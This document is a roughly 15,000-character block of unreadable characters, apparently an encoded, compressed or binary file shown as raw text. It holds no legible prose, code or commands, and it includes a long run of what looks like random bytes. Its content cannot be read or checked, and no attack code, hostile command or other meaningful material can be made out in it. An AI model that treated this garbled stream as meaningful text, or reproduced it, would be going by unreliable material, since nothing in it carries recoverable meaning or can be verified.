%H2%K ]DAJAJK ]DA].112JAJ&
S!S>%H#%PH7P!P7JAJ&
S!S>%H%!,%JAJ"2P%H!2%6JAJ7P%JAJ,!7%!<%JAJSP2&H%1J27P7JAJ"2P%JAJ&SJAJSP2&H%1J27P7JAJ7%PHP!72%PJAJ7SH!<2HP2SJAJ7SH!<2H22#>PJAJSP2&H%1J27P7JAJ%%P%HP!72%PJAJ#%PH&
P2&JAJ,JAJSP2&H%1J27P7JAJ7%!<%H%1J27P7JAJ!<2HP2SJAJ,JAJ%1J!<
%NS&<JAJSP2&H%1J27P7JAJ"
H7%PH
!77"&JAJ"
H7%PH
!77"&JAJ,JAJ!<2JAJS&272&JAJ"
H27%PH7%JAJ"
T2S%7117%N
>
JAJ7%H&#2JAJ7%H
!77JAJ7%H%<!2JAJ27
!H!<%JAJ"
,JAJ!<2JAJ&H"
,JAJSP2&H%1J27P7JDAEJ"
H>!7>H
!77"&JAJS%PHP2<%JAJ<7JAJET<T6)2)7JAJ7%H2S%!<%JAJ7%H%#27P%%JAJ7%H7P!P7JAJ27
!H!<%JAJ$7JAJ$JAJ!<2JAJ7H27%PH!2JAJ7%H2JAJ<%P!H%JAJ<%P!H!%JAJ$JAJ$7JAJ7%H%%JAJS%!H7%HS!S>%JAJ%2H!2JAJ#%PH7%H,JAJ&#2JAJ7%HS!JAJ27H!!JAJ!<227P!P&JAJS!
H%2H!2JAJ"
H%%P%H7%JAJ\_[JAJ2%H%1J27P7JAJ"
T!<2112S%7117%N
>
JAJSP2&H%1J27P7JAJ,JAJ7SHS>!2JAJ27H&,	%SPJAJ%H">%%JAJ6FM67%H&#26?6YJAJ>2%HJAJSP2&H%1J27P7JAJ!JAJ
%#H<!PS>JAJ11]]/O]O11JAJ11]]/]O11JAJ>2%HSPJAJ,JAJ&#2HH&PH2JAJ27H!!JAJ&#2HH&PH2JAJ2H!!JAJ&#2HH&PH2JAJ>2%H%7PJDAEJ!SP2%H
#27JAJ2!<%JAJ
>
JAJ27H2JAJ
!P>2&JAJ#%PH&
P2&JAJ7P%7>%%PJAJP%<
!P%JAJ11P>%<%7JAJ"
TS&P%P11P>%<%7JAJ!!H2P%JAJ7P
&7JAJ
!P>2&JAJ11
!PP%7JAJ27H2JAJ27H2%JAJ2%H#%PHS&P%P7JAJ27H7P2#JAJ2	%SPH5JAJ2	%SPJAJ27H2JAJ11]JAJ!!H<%#%JAJP2<JAJ11]JAJ2!<%JAJ2!<%JAJ2!<%JAJ2!<%JAJ11>&<%JAJ11!11"""JAJ11!11"""11>&7P7JAJ11!11"""11>P<JAJ11711"""JAJ117117%7JAJ11711&S!11"""JAJ!!H2%JAJ!!H2P%JAJ27H%!!,%JAJ<2S&P2<%JAJ!!H<%#%JAJ11"
TS&P%P11<T
#27JAJ11"
TS&P%P11
#27JAJ27H!!JAJ27P!%JAJ7SH7
%!H2P%!JAJ7
%!JAJ7SH2!2JAJ7SH7
%!HJAJ&H&&P7JDAEJ7SH7
%!HJAJ7SH7
%!H2P%!JAJ27H2JAJ27H2JAJ27H"2P!,%JAJ7P%JAJ
!P>2&JAJ11"
TS&P%P11
#2711JAJ7
%!JAJ7P%JAJ7SH7
%!H2P%!JAJ11"
TS&2#N
>
JAJ2!<%JAJ27H2%JAJ11%2%]7A]]7AKYQDM\HFZKYQD]7A']7AKYQDK YQD/OKYQD11JAJ11P!,%H
%21J]7A]7AKYQDK YQD/OKYQD11JAJ
%#H<!PS>JAJ11 K!T@T (TXHD/911JAJ"
,JAJ<%P>&H%1J27P7JAJ11 K!T@T (TXH9TD/911JAJ,H!<%H%	%SP%JAJUNUJAJ&
P2&7UJAJ[L[6[LF3[FJAJZ:Z3[6&
P2&H!%6L6JAJ6WZLZ6&
P2&H!<%66JAJY!SP2%H
#27YJAJ6:[656L6_M[ZJAJL::\3JAJL::\3JAJ3[JAJ!!H!%7JAJ7%2!2@%JAJ_M[Z6JAJ6Z[6&
P2&H!%66$76WZLZ6&
P2&H!<%66JAJ
!P%H!2JAJ!SP2!P%JAJ27H&,	%SPJAJL::\3JAJ"
,JAJ
>SX+B/(:[\2\FB>!(\!P:P1JGE5P \2[7#\&W 5^^7\1J P^	S3;[@S@(_(FFP#[[S@>SG711>\1J3[,11;>F:1J;&375%[ +C/FZ7>>Z#LG_FC51J%[C11_@111JG7"@;!SMP+^\"<1J=1J"=F(L;LXEC11G=WSZ <WS11B,"F7[,<"="W,=(%SL>,	P2MC1111@1J(5X%W11M!"_<;&<5&<!=3^G#	\Z_(X[#=M=@P;	+2:</SZ[Z	/%=<CC"<FZG1J#C11[/ ,2==\[G^GW=,1J1J^!+E!"L>&1J<@!	3X^ @:!EC57<55+/=5>>\!_>=M5[^11E^C(%113^[@"3<>W[%7_3!SP(C11 W>1JB(
<>E<:@^=EBL"@		_X+@M@
7^FB%#%:113!1J72	=ECM:BPB\: C,E\^%X/Z,F/MMP_ ,#;2&(B5!<;\=>=M @	G=@2P3<5&2LE55"	3/3W_3/
X5/"=[\_WM	3/X;#C7,\/:/S#2%_([1J[/C#1JEWLG7\\#"/!_5<F M:_WMW	W3M11P52FS,<_B(11"&WC:#7X75PLG 7_\Z(
/X[3+2_\1JE
Z>+53^
LEC%:7 2%=@ZX&3[F/[@W>PF7 +^11^+(= W>7P1JBL&XZ11F<;	11%("3EM^7%W57/E\>+B11#="E55

11,2 ^,_53,	!CF[F\1JF"P,
 Z!>#;#%#=,E_,<1JEG2M,3"51J#_^G,X^+W11S2+L7;X::5P11
X+G%<F["=;"L(1JE11BGB;^%"[%/([
":
#\ME=3
C^/"/11E^11G3<XG@CE//MZ\@!
#
C<P
<(11	<WL^BSEGZ(CZ=+^>\ /P"#	>^7
[;>!5\[11	(X
_=E+3;W_"["GE<^1JS,MG"F1JF1J=
1JPL23&G[(&G/GSG[MZ
_1J@[#+<11!+>("ZC;#S5XGG7CZ:7^[#	7 P =
	Z@11L@SS!E:#%LC	1J=&PG=[>G113=FW&>XL
E"M=57":&B2E77+C1J(C
M_2P/>+511B: >XE:,77!X5 "E<117!_@_X711G[S\L(11#=(^	7X=:#[:7%_(/B> 	SB[1J

<EWZ<;L^<1J[3!#_^W5\= LE!BCW(  PZ#+
%/XE+Z&:7>
 <5!1J,EW%M\X!=2@!_&,<B3,	"11^11@,+E,F
#&	E;<1J>><7=M#!2<2[&E!5>Z<@73_
	;!=5L(!5>B	_M%ML 11EZ
[M:!11;L<^7
	7%_!;_1J^1J+/":"Z3X+PG! &+Z:^M^1JCC"!S+S11!1JC+7@S\5+>7,:,#,@^ZW
/_>7
, [FC!_>[_7<WM#BB =!>G@+2;_E7,PM S^Z=3(P1J"E23,11
G#>1J:M([^@+:/&MPS_=E[CF, />^B,3^^%FLZS_3CFP&!7@1J
1J\ M3/=5!2%LP5\#G\% _"/113&1J%<&_>\=3/; F(	,G=#<&:SMF+!"[	Z(11FCPZS^C/++F("B11> ;G=CE1J75#/>Z!B>B"+>#G5ZX115B\ :2 5GBZXC77FP%C1J\(@:!1J%!B[BECW1J/X>7EC+MEX@_5Z7[_&#G&SL>5X1J3 >	/P=
Z5[@%^P _1J;!3:
F1JMB^>F<5,^\X;F11:1JW@11@SP#_SM35/11G\">\7
"E11B+\&/!PX	11	=!L11	\""P1JEZ2%;%E#C
	=<1JS(3:+(7/Z_XE/[1J[>P,BG^@+&&S
W<3 \	!(C\(BL2<%S F\[!CX,L3	/BFEBC_/;%">#C:G(G%;,M
@;\W	#[ <CB[W^
	%3
G>_:_7=&E^,,_::
5("F;<MFCL!^5XE_^
11_+=>#/;X#
3P:E_^F^;1J_WX\M@1J,11X>F[  !7%^S#11W,5;M!;W3^_!>^F&X
_	<FSP5
	X<[^
%_(M:"5PXL[!Z\11^#W	@<(;%FG&%\",/1J^%>[E&^[X=+

W>
5>,L/	("S	>	ME5Z	"WZ5
S(1J7_^<3F;;5=%%3(\11S\F[C/ [+"Z\/B/!7>Z[[;E2</ \11>&,:M G([ S7GP\;(#
!11
:>(<W&+/#[F^"F/#	 WB+#1JSBF&:	>_"JAJ27H7P2#JAJ7P%JAJ,!7%!<%JAJ@2
JAJN@2
JAJ27PJAJS&P%PHJAJSP2&H%1J27P7JDAEJ11"
TS&P%PJAJ7PH%
!S%JAJ>PP
)1111JAJ>PP
7)1111JAJ.
JAJ>PP
7)1111JAJ11.
JAJP2<JAJ8 >PP
7.)11118JAJ7SH7"JAJ7SH
!#%JAJ7SH
!#%JAJ7P%JAJ&JAJS&P!SP7JAJ
S7JAJ!<2\!7%JAJ@2
JAJ7#JAJ27P!%JAJ"2P%%JAJ"JAJ
!#%3&%JAJ7H%JAJ7P%JAJ,!7%+H%S&%JAJ!6HH3H\[GFN
!7%!P&,QJAJQOORJAJ!6HH3HZF3QJAJQRJAJ7"HS&2#JAJ&JAJ7"HS&2#H72#JAJ7PP&&"%JAJ7"JAJ7"JAJP2<JAJ
%#H%
!S%JAJ8 >PP
7.)11118JAJ&JAJ7P%JAJ27H2JAJ27H"2P!,%JAJN
>
JAJ27PHP
JAJ"JAJ7SH!7PH%PS>HP7JAJ27PHP
H<2772#JAJ2%H%1J27P7JAJ<CJDAEJ7"H27PJAJ7"JAJSP2&H%1J27P7JAJ7P%JAJ7P%JAJ7P%JAJ7PH%
!S%JAJ[ZFH_LZJAJ#%PHP!72%PJAJ7PH%
%!PJAJ7SH7"JAJ7SH7"JAJ7PP&&"%JAJ2%H%1J27P7JAJ7"H7%P
JAJ
>
H7!
2H!<%JAJ27PJAJ11NJAJ7SH22H%!JAJP2<JAJP2<JAJ2%H#%PHS&P%P7JAJ
%#H%
!S%JAJ11].!P&H
%
%H2%]7A]7AKQYD.K QY]]DAJAJK QY]]DAKQYD.].].112JAJN7SHJAJ22JAJ2HP
H<2772#JAJ<CJAJ27H7P2#JAJ
%#H<!PS>JAJ11!P&H
%
%H2%]7A]7AKQYD.OK QY]]D/O]5112JAJ&%JAJPI42S%H&S%6JAJ!H%1J
&PJAJR*S!PS>][>&"!,%69%OI*S!PS>]Z1JS%
P2&69%OI*6JAJ9H7S
2!<%HH:ZHHONQ11NJAJ2427H2%9H7S
OOI9H7SS42%H#%PHS&P%P79H7S
OR227H7P2#9H7SSOOIJAJ27P%9H7SSO-5(+=CO9H7SS
%#H%
!S%Y11]]11]AK(TX!TDI5((('*]A]11O/911Y'YY'9H7SSORJAJ227H7P2#9H7SSO00<C9H7SSOYJAJYOIPI42S%H&S%69H7S
R*S!PS>][>&"!,%69%OI*S!PS>]Z1JS%
P2&69%OI**7%P9H7SSOR**7%P9H7S
ORJAJ22H"!
JAJ27H2%JAJ22JAJ7SH22H!2JAJS2S2PH&
%JAJP2<JAJ11]JAJ2%H#%PHS&P%P7JAJ%!H!2%JDAEJ7,7PJAJ!P&H
%
%H2%66QJAJ7SH22H
%2#JAJ&JAJ7SH22H!2JAJ7SH22H!2JAJ&JAJ22JAJ
&,%HC((JAJ7SH22H!2JAJ7SH22H%!JAJ&JAJ22JAJ3H[H_LZ_ZFMJAJ3H[H_LZ_JAJ22H#%PJAJ7%H22NS!S>%HPPJAJP2<%JAJ&JAJ
&,%H%!JAJ\_[JAJ
>
H7!
2H!<%JAJ11N>P!SS%77JAJ
P2&76T%1J%7JAJV2%7!PS>6Q]N@2
&#7O9Q-JAJV&%6<&H!P>@HS&%NS-JAJL%2%6!6%2%JAJV11&%-JAJV&%6?<&H!P>@HS&%NS-JAJM%6&<6!JAJV112%7!PS>-JAJ2%H%1J27P7JAJ2%H#%PHS&P%P7JAJ>PJAJ%!H!2%JAJ7P%JAJ,!7%!<%JAJ>PJAJ>PHP
H<2772#JAJSP2&H%1J27P7JAJ11]JAJ2%H#%PHS&P%P7JAJ11!P&H
%
%H2%]7A.)]7O]7AKQYD.OK QY]]D/O]5112JAJ11 V].
>
11JAJV.
>
6PI42S%H&S%6JAJR*S!PS>][>&"!,%69%OI*S!PS>]Z1JS%
P2&69%OI*JAJ27H7P2#JAJ
S%H!2JAJ2%H%1J27P7JAJ27H7P2#JDAEJ7SH>PH%!JAJ>PH&!%JAJ27H2%JAJ2%H#%PHS&P%P7JAJ7SH>PH!2JAJ>PJAJ
>
H!%6!P&H
%
%H2%JAJSP2&H%1J27P7JAJ&
%JAJ&SJAJ2%<P2<%JAJ2%H%1J27P7JAJ2%H#%PHS&P%P7JAJSP2&H%1J27P7JAJ27H2%JAJ&SJAJ>PJAJ6QJAJ6QJAJS&PJAJ7SH>PH%!JAJP2<%JAJ&JAJS2S2PH&
%JAJ>PJAJ>PJAJ\_[JAJ#%PH&
P2&JAJ&
PJAJ7P%JAJM\H[JAJM\HZLJAJM\H_WLMJAJM\HFZJAJ<72JAJM\HZLJAJ"
HJAJ&
PJAJ<72)6JAJ7,7PJAJ&SJAJ11N"
T&,	%SPTS!S>%TJAJN!PJAJ3M5JAJ,!7%+H%S&%JAJ7P%JAJ27H!!JAJSP2&H%1J27P7JAJ#@%S&%JAJSP2&H%1J27P7JDAEJ7P%JAJ27H7P2#JAJ7P%JAJ7,7PJAJ11 V].
>
]7A11JAJ&SH<JAJ11A63H3H\ZF)JAJ6A11JAJ11A63H3HZFM)JAJV.
>
611A6N"
T&,	%SPTS!S>%TJAJ6A11611A633)JAJS!!H!<H!2JAJ7P
&7JAJ3H3H\ZFJAJ7P
&7JAJN"
T&,	%SPTS!S>%TJAJ
%#H<!PS>JAJ1133)]/]N]/]N]/O11JAJ&SJAJ
%#H%
!S%JAJ11].]11]A63H3H\ZF)K!T@T (TXNHDA)JAJO6]A]11NA.]11]A63H3HZFM)]56]A]11].117JAJ&SJAJ&SJAJ%27HS!
JAJ&SJAJ11A6N"
T&,	%SPTS!S>%TJAJ&SJAJ2%H#%PHS&P%P7JAJ
%#H<!PS>JAJ11 3M5)]/]N]/]N]/O)11JAJ7SH&SH!PH&JAJ!PHS&
PJAJ3M5)JAJ<CJAJ&JAJ&SJAJP&JAJ7><&
H&
%JAJSP2&H%1J27P7JAJP&JAJ\_[JAJ7P%JAJ>!7>JAJ7>!BCJAJ35)JAJ7><&
H72@%JAJ7><&
H%!JAJ27H7P2#JAJ7><&
HS&7%JDAEJ7><&
H"2P%JAJ7PH
!JAJ7><&
HS&7%JAJ7><&
JAJ%2H!2JAJ7><&
H%%P%JAJ11V].
>
112JAJ7,7PJAJ27H7P2#JAJ11 ]7A%S!%]7A]NA.]O]7AR!<%7
!S%]7/K RID/]7ARO1127JAJ7,7PJAJSP2&H%1J27P7JAJ7SH%27HJAJ%1J
&%JAJP2<%JAJP2<%JAJ7SH%27HJAJ&
2JAJP#H&H"!6JAJSP2&H%1J27P7JAJ2P!JAJ"
,JAJ3HM:HJAJ!HP
JAJ7SH!7PH%PS>HP7JAJ!JAJ!HP
H<2772#JAJ2%H#%PHS&P%P7JAJ27H7P2#JAJ!H<JAJ11A63HMH\ZF)JAJ6A11JAJ11A63HMHZFM)JAJ6A11JAJ11]11]A63HMH\ZF)K!T@T (TXNHDA)JAJO6]A]11NA.]11]A63HMHZFM)]56]A]11117JAJ3HMH:MZMJAJ7P
&7JAJ
%#H%
!S%JAJ11K6]PDA2]7A]]7A%2%]7A]]7AKQYD3HMH:MZMKQYD]7A]O]7A]O]7A%P]7ARK ]]DA11JAJ
S%H!2JAJ
%#H%
!S%JAJ!JAJ!JAJ\_[JAJSP2&H%1J27P7JAJS2JAJ7SH#!JAJ27H"2P!,%JAJ"
T2S%7JDAEJ11N#HJAJ11N#1JHJAJP2<%JAJ11N#HJAJ"
T2S%711JAJ"
T2S%7JAJ27H2%JAJ27H2%JAJ2%<P2<%JAJ27H2%JAJ27H2%JAJ11N#HJAJ2%H#%PHS&P%P7JAJ
%#H<!PS>JAJ11 ]/]N]/]N]/911JAJ11N#7HJAJ2%H#%PHS&P%P7JAJ%1J
&%JAJ#!JAJ%!
H77
%SP%JAJ&H7P!P7JAJ27H"2P!,%JAJ11
#2711JAJN
>
JAJ
!7%HJAJ[[_H[JAJ11
#27JAJ,!7%+H%S&%JAJ,!7%+H%S&%JAJ#!HP
H<2772#JAJ#!JAJ#!HP
H2!2JAJ11N#<HJAJ7SH#!JAJ27H7P2#JAJ7,7PHS&PJAJ7,7PHS&PJAJ7P%JAJ7,7PJAJ27H!!JAJS>JAJ27H%%H7
!S%JAJW_H3F[ZF[HMLJAJ\_[JAJSP2&H%1J27P7JAJ7SH
!H&HP7JAJ7SH
!H&HP7JAJ<PH!JAJ.-JAJSP2&H%1J27P7JDAEJ!&<H,P%7JAJ,2B>%1JJAJ7P%JAJ<CJAJA11JAJ27H7P2#JAJ11].]]11]AK(TX!TDI5((('*]A]11O/911JAJSP2&H%1J27P7JAJSP2&H%1J27P7JAJ7SH&"H<JAJ7SH&"H<!2%7PJAJ27H!!JAJ7SH&"H<JAJ7P%JAJ<CJAJP2<%JAJ27H!!JAJ&JAJ7SH&"H<JAJ7SH&"H<JAJ7SH&"H<JAJ<&22%JAJ2%H#%PHS&P%P7JAJ7P%JAJ<CJAJ2%72@%JAJ2%H#%PHS&P%P7JAJ7P%JAJ%#!SJAJ7P%JAJ11&"HJAJ&"JAJ7SH&"H%SJAJ7,7PJAJ27H!!JAJ%JAJ%JAJ&JAJ7P!P%JAJ,&&PHP7JAJ#%JAJ
!P>JAJ7P!PHP7JAJ,&&PHP7JAJLZ;Z[H[ZJAJSP2&H%1J27P7JAJ7SH&"H%SJAJ2%H
PHS&P%P7JAJV.
>
JAJ
!P>JDAEJ27H7P2#JAJ2%72@%JAJ%!JAJ,&&PHP7JAJ,&&PHP7JAJ&JAJ&"JAJ27H2%JAJ2%H#%PHS&P%P7JAJ
%#H<!PS>JAJ11]11]AK(TX!TDI5((('*]A]11O]7A911JAJ,!7%!<%JAJ27H2%JAJP2<JAJ2%H#%PHS&P%P7JAJSP2&H%1J27P7JAJ#%PH&
P2&JAJSP2&H%1J27P7JAJ
!P%H&
P2&JAJ7SH%%%H%JAJ!!H72S%JAJ7SH%%%H%JAJ#%PH&
P2&JAJSP2&H%1J27P7JAJ7SH%%%H%JAJ27H2%JAJ&
S!S>%H2!2!P%JAJ27H2%JAJ2%JAJ%!
!P>JAJ%!
!P>JAJ\_[JAJ2%H#%PHS&P%P7JAJ27H2%JAJN#JAJ2%H#%PHS&P%P7JAJS&
JAJ
%#H<!PS>H!JAJ11,!7%+H%S&%]]7AYKT !T@(TX/]11DI5((('*OY]7A]O11JAJ
%#H<!PS>H!JAJ11.)#@%S&%#@2!P%#@S&<
%77O]]7AQ.)K Q]]DA.)]]NK Q]]DAOAOOQ117JAJ]1JJAJ11]]1JK(TX!TTDIB*O11JAJ21JH>"%C"55H==&(>JAJ11.)#@%S&%#@2!P%#@S&<
%77O]]7AY.)K Y]]DA.)]]NK Y]]DAOAOOY117JAJ]]JAJ]YJAJ27H7P2#JAJ#@JAJ21JH>"%C"55H==&(>JDAEJ]]JAJ7P
&7JAJ21JH>"%C"55H==&(>JAJ27H7P2#JAJ
%#H<!PS>JAJ11]11]A63)]/]N]/]N]/O6]A]1111JAJ7P%JAJ6A11JAJ7,7PJAJ7,7PJAJ11 K!T@T (TXNH)D/911JAJ11A6JAJHZFM)JAJ6A11JAJ7P
&7JAJ7,7PJAJ7P%JAJ\_[JAJP>H<JAJ11]11]A63H[H\ZF)K!T@T (TXNHDA)JAJ6]A]1111JAJ27H7P2#JAJ3H[JAJ&,1J
(#7C#=C1JJAJ3HMMJAJ1J=+>2	%<%	JAJ11]11]113H[H:MHK!T(TXHD/].]K ]DA911JAJ27H7P2#JAJ@P2
7BH22	JAJ3HMMJAJ11]11]113H[H:MHK!T(TXHD/].]K ]DA911JAJ\_[JAJ
%#H<!PS>H!JAJ11]11]A63H[H\ZF)K!T@T (TXNH)D/O6]A]1111JAJ7,7PJAJ<CJAJJAJ
%#H<!PS>H!JAJ11]11]A63HMMH\ZF)K!T@T (TXNH)D/O6]A]1111JAJ7SHSJAJ#%PH&
P2&JAJ7SHS!!JAJ27H!!JAJ2P%<7JAJ27H!!JAJ>!7>H%!7JAJ%#27P%H7>P&"HSP2&JAJTT-JAJSP2&H%1J27P7JAJ7SH,H<&%JDAEJ7P
&7JAJ,2JAJ27H!!JAJP7JAJP7JAJP2%7JAJP7JAJ2P%<7JAJS!!JAJ,!H"2P%H!2JAJ11P>,HJAJN,!JAJ2P%<7JAJP7JAJP7JAJ2P%<7JAJS>5+@H2P&@<&S<JAJ"
H%<&P%H#%PJAJ3!S>%T3&P&JAJ&T7P&%'6&TS!S>%JAJ_!#<!JAJ"
H%<&P%H%P2%%H%7
&7%HS&%JAJ"
H%<&P%H%P2%%H,&JAJ&
S!S>%H2!2!P%JAJSP2&H%1J27P7JAJ7SHS!!JAJ2P%7
%%H227>H%%7PJAJSP2&H%1J27P7JAJ2#&%H7%H!,&PJAJSP2&H%1J27P7JAJ27H!!JAJ%22%H%%
6JAJ.7SHSJAJ!"%S&%JAJ0HJAJ2P%<7JAJ&,!SHC((6JAJ,!7%!<%JAJ7P
&7JAJV?TT3)JAJ7SHSJAJ&,!SH&#2C((6JAJ,!7%!<%JAJ2P%<7JAJTT-JAJ2P%<7JAJ2P%<7JAJP2%7JAJ,2JAJ,H,2JDAEJ2P%<7JAJ7SH,H<&%JAJ27H7P2#JAJ&JAJ&JAJ2P%<7JAJH7SH!<JAJ3H[H\ZFJAJ7P
&7JAJN7HJAJ3)JAJ113H.)M\M3OH\ZF)]/]N]/]N]/O11JAJ7"%%
JAJ%P!2@%H&%2#H72
6JAJ2%H
PHS&P%P7JAJSP2&H%1J27P7JAJ2%H#%PHS&P%P7JAJ7P%JAJ11K6]PDA]11]A63HM\M3OH\ZF)K!T@T (TXNH)D/O6]A]11NA.]11]A63H]5HZFM)]B6]A]11K6]PDA].].117JAJ27H7P2#JAJ7SJAJ%!<%JAJ27H7P2#JAJ
%#H<!PS>JAJ1127H2%]]7AYK YD/OY]7A]O11JAJ27H2%JAJ7PH%
!S%JAJP2<JAJW_H3F[ZF[HMLJAJ11]JAJ7P
&7JAJ,!7%!<%JAJ7"%%
JAJ,H&%2#H72
6JAJ27H!!JAJ<&S%TJAJ"
TS&2#N
>
JAJ2!<%JAJ27H2%JAJ27H2%JAJ27H"2P!,%JAJ2%H#%PHS&P%P7JAJW_H3&%HP%#2PJAJ11P<
11
>
JAJ7P
&7JAJW_H[Z_HMLJAJ7SHP<
H21J%JAJSP2&H%1J27P7JAJ11%2%]7A]]7AKYQDW_H33ZKYQD11JAJW_H3F[ZF[HMLJDAEJ11!!S%TS!S>%N
>
JAJ2%H#%PHS&P%P7JAJ7P
&7JAJ3HMH\ZF)JAJ7P
&7JAJ11%2%]7A]]7AKYQD\_[KYQDK ]DA]%2%]6YW_H33ZY'6P%6]OR]11JAJ
%#H<!PS>JAJ11%2%]7A]]7AKYQDW_HMZ\KYQD]7A']7AP%]7A]O112JAJ11%2%]7A]]7AKYQDW_HMZ\H:KYQD]7A']7AP%]7A]O112JAJ11%2%]7A]]7AKYQDW_HMZ\HM_:EKYQD]7A']7A!7%]7A]O112JAJ
%#H<!PS>H!JAJ11K6]PDA]11]A6W_H3&%HP%#2P6K!T(TXD/O6]A]11NA.]11]A6ZTW_H3&%HP%#2P6]56]A]11K6]PDA].].117JAJ11K6]PDA]11]A6W_H3&%HP%#2P6K!T(TXD/O6]A]11NA.]11]A6ZTW_H3&%HP%#2P6]56]A]11K6]PDA].].117JAJ11 K6]PDA2]7A]]7A?.]7A2%H%1J27P7]]7AY]11P<
]11
>
KT !T@(TXD/YK ]DA]K6]PDA2]7A]]7A]9H&00K ]DA]O.11<JAJ2<
&%JAJ
%#H%
!S%JAJ11 K6]PDA2]7A]]7A?.]7A2%H%1J27P7]]7AY]11P<
]11
>
KT !T@(TXD/YK ]DA]K6]PDA2]7A]]7A]9H&00K ]DA]O.11<JAJ27H7P2#JAJ11%2%]7A]]7AKYQD\_[KYQDK ]DA]11JAJ11%2%]7A]]7AKYQD\_[KYQDK ]DA]O11JAJ95JAJ
%#H<!PS>JAJ11%2%]7A]]7AKYQD\_[KYQDK ]DA]O11JAJ27H7P2#JAJ11%2%]7A]]7AKYQD\_[KYQDK ]DA]O%2%]6YW_H33ZY'6P%6]OR]11JAJ27H7P2#JAJ
%#H%
!S%JAJ11 K6]PDA%2%]7A]]7AKYQDW_HMZ\H:HM_:EO.KYQD]7A'K ]DA]112<JAJ27H7P2#JAJ27H7P2#JAJ"
SJAJ
%#H%
!S%JAJ11%2%]7A]]7AKYQD\_[KYQDK ]DA]O%2%]6YW_H33ZY'6P%6]OR6]11]A63HW36]A]11]11JAJ95JAJP%<
!<JAJ7S"JAJ%!<%JAJ11Y]11P<
]11
>
KT !T@(TXD/OY11JAJ7P
&7JAJ11P<
11
>
JAJ11&
P2&H!<%]7A]7AYK YD/OY11JAJ11 H72P%HP!72%PH>%!P>%%OHK!T(TXD/911JAJW_H_:FHMLJAJ#&,JAJ11AN
>
JAJ7,7PJAJS&%JAJN
>
JAJ27H7P2#JAJ&%2#H72
6JDAEJ,!7%!<%JAJN&JAJSP2&H%1J27P7JAJ2!<%JAJ2!<%JAJ,!7%!<%JAJ#&,JAJ11A11SP2&7N
>
JAJ2%72@%JAJ27H7P2#JAJ3HMMH\ZFJAJ3H[H:MHJAJ27H7P2#JAJ11!!S%TS!S>%N
>
JAJ%%P%H&
P2&JAJSP2&H%1J27P7JAJ,X"B&1J
##<
<1J5C&JAJ27H7P2#JAJ27H7P2#JAJ!B2X2	#=&B",JAJSP2&H%1J27P7JAJS&&+<(%^
(CJAJ=>!2%HB@"X#&#2	"%JAJ7SJAJ7SH,&&PHPJAJ,&&PJAJ%#!SHP!%&%JAJ7SH
%727P%JAJ#%PH&
P2&JAJP7JAJ2P%<7JAJ27H!!JAJ%#27P%H7>P&"HSP2&JAJS>5+@H2P&@<&S<JAJ27H2%JAJ>PJAJN
>
JAJ2%)JAJ2%)JAJ22H#%PJAJ7%H22N2%!<%JAJN
>
JAJ11]JAJ2%)JAJ2%)JAJN"
T&,	%SPTS!S>%TJAJ7SH
%727PH<!2%7PJAJ7P!PJAJ72@%JAJ<P2<%JDAEJ11]]/O911JAJ7,7PJAJ7P%JAJ7,7PJAJ7P%JAJ27H2%JAJ!SP2%H
#27JAJ7SHS>!2JAJ11,N
>
JAJ11SP2&7N
>
JAJJAJP2<%JAJ7,7PJAJ(JAJP2<%JAJ7SH
%727PH<!2%7PJAJ&JAJ
%727PJAJ72@%JAJ72@%JAJ,2#)JAJSP2&H%1J27P7JAJN
>
JAJJAJN
>
JAJ11,N
>
JAJ3HM\JAJHZFM)]56]A]11117JAJ2%H#%PHS&P%P7JAJ
%#H<!PS>JAJ1133)]/]N]/]N]/11JAJ7,7PJAJ11].]11]A63H3H\ZF)K!T@T (TXNH)D/O6]A]11NA.]11]A63H3HZFM)]56]A]11].117JAJW_H3F[ZF[HMLJAJN#JAJ11
&!711A11A11JAJ11P>%<%711A11JAJ#&,JAJ#&,JAJAN
>
JAJAN
>
JAJ2!JAJSP2&H%1J27P7JAJ#&,JAJN#7HJAJN#HJAJN#
HJAJN#PHJAJN#<HJAJN#HJDAEJN#7HJAJN#HJAJ11N#HAN
>
JAJ27H2%JAJ7P
&7JAJ
%#H%
!S%JAJ
%#H%
!S%JAJ
%#H&P%JAJK ]DA].112JAJ"
TS&2#N
>
JAJ11"
TS&2#N
>
JAJ27H"2P!,%JAJ2%H#%PHS&P%P7JAJ11K6]PDA%2%]7A]]7AKYQDW_H33ZKYQD]7A']7AP%]7A]O]7AR]7A]11]A63HW36]A]11K6]PDA].].11JAJP&S>JAJN7%N22JAJ2%H#%PHS&P%P7JAJ11!P&H
%
%H2%]7ANAJAJ
%#H&P%JAJNA]112JAJ27H7P2#JAJ!!H2JAJV.
>
6JAJ27H2%JAJ3H[JAJ@P2
7BH22	JAJ3HMMJAJSP2&H%1J27P7JAJ7><&
H&
%JAJSP2&H%1J27P7JAJ7SHS!!JAJ2P%<7JAJ27H!!JAJ7SH>PH!2JAJ7SH22H%!JAJ%%P%HP!72%PJAJSP2&H%1J27P7JAJ1JX+71JS	^<H
"BCS^JAJ7SHS&H#!JAJ2!2!P%JAJN
>
JAJ2%H#%PHS&P%P7JAJ,H<JAJ11A63HM\H\ZF)JAJ6A11JAJ11A63HM\HZFM)JAJ,H<JAJ11]11]A63HM\H\ZF)K!T@T (TXNHDA)JAJO6]A]11NA.]11]A63HM\HZFM)]56]A]11117JAJ7P
&7JDAEJ3HM\H:MZMJAJ11K6]PDA2]7A]]7A%2%]7A]]7AKQYD3HM\H:MZMKQYD]7A]O]7A]O]7A%P]7ARK ]]DA11JAJ27H7P2#JAJ3HM\:HJAJ,JAJ,HP
H<2772#JAJ%27HS!
JAJS!!H!<H!2JAJ#%PH&
P2&JAJW_H3F[ZF[HMLJAJ11P>%<%711JAJ11SP2&7N
>
JAJSP2&H%1J27P7JAJ#%PH&
P2&JAJ11P>HJAJN,!JAJ27H2%JAJ!27>H%7P&%JAJ7SHP>H%!JAJ&JAJ\_[JAJ11A63H[H\ZF)JAJ11A63H[HZFM)JAJ3H[:HJAJ7,7PJAJ<CJAJ,!7%!<%JAJP>%<%HP
H<2772#JAJ
%#H%
!S%JAJ&
%JAJP>%<%JAJSP2&H%1J27P7JAJ&SJAJ7P%JAJ7P
&7JAJ27H"2P!,%JAJ3H[JAJ222>BB&PB1J(JAJ
S%H!2JAJ7P
&7JAJ3H[H\ZFJAJ7P
&7JAJ&
>!JAJ27H7P2#JAJ2%H#%PHS&P%P7JAJV.JAJP2<JAJ.-JAJP>%<%JAJ7P%JDAEJ7SH%<
PJAJS!77H%1J27P7JAJ 2
S>2%JAJ11
&!711JAJ!P%JAJE11<11JAJ 2
S>2%JAJ 2
S>2%JAJSP2&H%1J27P7JAJ"
